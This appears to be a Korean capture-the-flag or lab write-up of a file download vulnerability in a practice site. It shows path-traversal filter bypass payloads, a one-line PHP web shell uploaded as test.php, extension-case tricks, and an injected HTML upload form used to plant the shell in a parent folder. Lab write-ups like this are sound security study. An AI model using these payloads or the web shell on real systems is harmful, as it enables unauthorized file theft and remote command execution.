취약페이지
| URL |
|---|
http://URL/download_2/download.php |
취약점 종류
파일다운로드 취약점
http://URL/download_2/download.php?filePath=/sss/test.png에서 dowload.php로 어떤데이터를 전달해주는 웹요청 발견
취약점 찾기
1. 다운로드 경로파악
1.1 파일업로드
평범한 png파일 업로드
| 업로드 | 결과 |
|---|
 |  |
1.2 경로확인
| 우클릭 경로확인 | 붙여넣기 |
|---|
 |  |
1.3 Burp Suite에서 확인
| Burp Sutie |
|---|
 |
2. 파일다운로드 TEST
download.php에 특정 파라미터 값을 보내주고 있음
2-1 현재폴더에서 index.php다운로드
| 결과 |
|---|
 |
2-2 상위폴더에서 index.php다운로드
| 결과 |
|---|
 |
-상위폴더와 하위폴더의 차이가 없음 필터링예상
3. Filtering 우회
../상위 폴더로 가는 명령어 필터링 예상
필터링 예상하여 /.../...//index.php
| 결과 |
|---|
 |
4. flag찾기
검색에서 flag입력
| 결과 |
|---|
 |
5. 각종실패모음
5-1 URL인코딩
/../../를 URL인코딩하여 %2F..%2F..%2Findex.php입력
| 결과 |
|---|
 |
-> 실패 ->url인코딩은 똑같이 받아드린다 -> 의미없음
5-2 웹쉘업로드
<?php system($_GET['cmd']); ?> 를 포함한 test.php 업로드
test.php결과 |
|---|
 |
-> 실패 -> 스크립트 측 실행언어 필터링예상
5-3 확장자변경
확장자의 이름을 대소문자로 바꾸거나 유사한 기능을하는 확장자로 변경
test.pHp결과 |
|---|
 |
test.Phtml |
|---|
 |
-> 부분 모두 필터링예상
5-4 Stored XSS
-> 우클릭 inspect로 html참고
-> xss 취약점 찾는 것은 생략
스크립트
<form action="notice_write_process.php" method="POST" enctype="multipart/form-data">
<input type="text" value="XSS" name="create_title">
<input type="text" value="XSS" name="create_body">
<input type="file" name="upload_file">
<input type="submit" value="submit">
</form>
| 코드삽입 |
|---|
 |
| 코드삽입후 게시글 |
|---|
 |
test.php 업로드
-> form태그 삽입할때 form태그자체 필터링제거 했기 때문에 가능
| 업로드 | 결과 |
|---|
 |  |
-> 업로드 성공
업로드 결과를 Burp Suite에서 명령어와 함께 확인
| 결과 |
|---|
 |
- 실패
-> 저장폴더에 권한이 없는 것으로 추정
상위폴더에 저장
../를 사용하여 상위 폴더에 저장
파일이름을 /../로 변경 |
|---|
 |
| 경로확인 |
|---|
 |